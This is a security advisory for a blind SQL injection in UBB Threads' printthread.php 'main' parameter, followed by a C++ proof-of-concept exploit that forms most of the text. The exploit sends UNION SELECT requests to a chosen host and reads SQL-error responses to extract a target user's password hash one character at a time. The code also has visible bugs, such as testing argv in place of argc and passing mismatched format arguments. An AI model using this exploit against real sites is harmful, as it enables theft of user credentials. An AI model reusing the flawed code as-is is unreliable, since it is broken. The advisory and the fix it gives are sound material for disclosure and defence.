UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability
Full Disclosure
  Bug discovered By: Axl
  Exploit By: HLL (hllhll at gmail.com)

1. Introduction

There Is a flaw in printthread.php due to insufficient bound checking of the 'main' query parameter
wich allows a malicues SQL to be injected threw the querys

2. Description

The main query parameter is used twice in this page, in different queries and in different number of columbs
thus, the popular 'UNION SELECT' method will is not applicable, because a correct response of the first query, makes the 
second query to be invalid, and because of that, any output that was is dismissed and an error message only for the second query is shown

The catch is, that the second query execution is conditional to the results of the first one
If no results are returned from the first query the second query is not processed, thus, no SQL error will output
  
So, as you see in the POC Exploit below this can be used to still use output from the first query
not as a text\numbers but as a "Are there any results" way.
If the fisrt query would have 0 rows returnd, there will be no SQL error
If at least 1 row is returned, then An SQL Error will show.

3. Solution

Add in the beginning of the PHP file(printthread.php) after the PHP-Code tag (<?):

	if(array_key_exists('main', $_GET)) $_GET['main']=intval($_GET['main']);

4. Exploitation: See below

5. Credits

	Vulnerability discovered by: Axl
	Exploit Coded by HLL: hllhll <at> gmail.com


//HLLUBBThreadsExploit.cpp
/*
  4. Exploitation

UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability

Usage: HLLUBBThreadsExploit.exe <hostname> <path to printthread.php> <Any vaild forum name> <user id> 
Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php UBB3 2
Vulnerability discovered by: Axl
Exploit Coded by HLL: hllhll <at> gmail.com

*/
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#include <iostream.h>
#pragma comment (lib,"ws2_32")

void usage(char *argv[])
{
	cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by: HLL" << endl;
	cout << "[+] Usage:" << endl;
	cout << "[+] " << argv[0] << " <hostname> <path to printthread.php> <Any vaild forum name> <user name> " << endl;
	cout << "[+] " << argv[0] << " www.host.com /ubbthreads/printthread.php UBB3 HLL" << endl;
}


int main(int argc, char *argv[]){

	
	WSADATA wsaData;
	struct sockaddr_in saddr;
	WSAStartup(MAKEWORD(1, 1), &wsaData);
	struct hostent *h;
	char hash[34]={0};
	int rcvlen;
	char ch;
	int flag, pos;
	int countwait;
	SOCKET sock;
	char req[400];
	char buf[600];
	char rcvbuf[10000];
	char rcvtmpbuf[1024];

	char *host=argv[1]; //Server
	char *path=argv[2]; // Path to /ubbthreads/printthread.php
	char *fname=argv[3]; //Forum name
	int uid=atoi(argv[4]); //User id

	if (argv!=5){
		usage(argv);
		return(0);
	}
	//Resolve address (will work also if this is an IP)
	cout << "[+] Resolving host... ";
	if (!(h=gethostbyname(host)))
	{
		cout << "FAILD!" << endl;
		return(1);
	}
	cout << "Done." << endl;

	saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0];
	memset(saddr.sin_zero, 0, 8);
	saddr.sin_port=htons(80);
	saddr.sin_family=AF_INET;

	
	cout << "[+] Exploiting target... " << endl;
	for (pos=1; pos<=32; pos++)
	{
		for (ch='0'; ch<='F'; ch++)
		{
			if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1 )
			{
				cout << "FAILD CREATING SOCKET!" << endl;
				return(1);
			}


			if (ch==':') ch='A'; //If finished all digits, jump to hex digits
			
			//Prepare reqest
			sprintf(req, "%s?Board=%s&type=post&main=-99'%%20UNION%%20SELECT%%20B_Number,B_Posted%%20FROM%%20w3t_Posts,w3t_Users%%20WHERE%%20((MID(U_Password,%d,1)='%c')", path, fname, pos, ch, pos, ch+32);
			if (ch>='A' && ch<='Z')
				sprintf(req, "%sOR%%20(MID(U_Password,%d,1)='%c')", req, pos, ch+32);
			sprintf(req, "%s)AND(u_number=%d)/*", req, uid);
			sprintf(buf, "GET %s HTTP/1.0\r\nAccept: * /*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)\r\nHost: %s \r\n\r\n", req, host);
			
			connect(sock, (struct sockaddr *)&saddr, sizeof(struct sockaddr) );
			send(sock, buf, strlen(buf), 0);
			cout << "[+] Char: " << ch << endl;

			//Loop untill disconnection or recognized string
			flag=0;
			countwait=0;
			*rcvbuf=NULL;
			while(!flag){
				Sleep(30);

				if ((rcvlen = recv(sock, rcvtmpbuf, 1023, 0))>0){
					rcvtmpbuf[rcvlen]=NULL;
					strcat(rcvbuf, rcvtmpbuf);

				}

				if ( (++countwait) == 30)
					flag=2;
				if ( strstr(rcvbuf, "SQL Error"))
					flag=1;
			}
			if (flag==1){ //Char found
				cout << "[+] Char " << ch << " In pos " << pos << endl;
				hash[pos-1]=ch;
				ch='G';
			}
			closesocket(sock);
		}

	}


	hash[32]=NULL;
	cout << endl << "The hash for user id" << uid << "is: " << hash << endl;
	WSACleanup();
	return (0);
}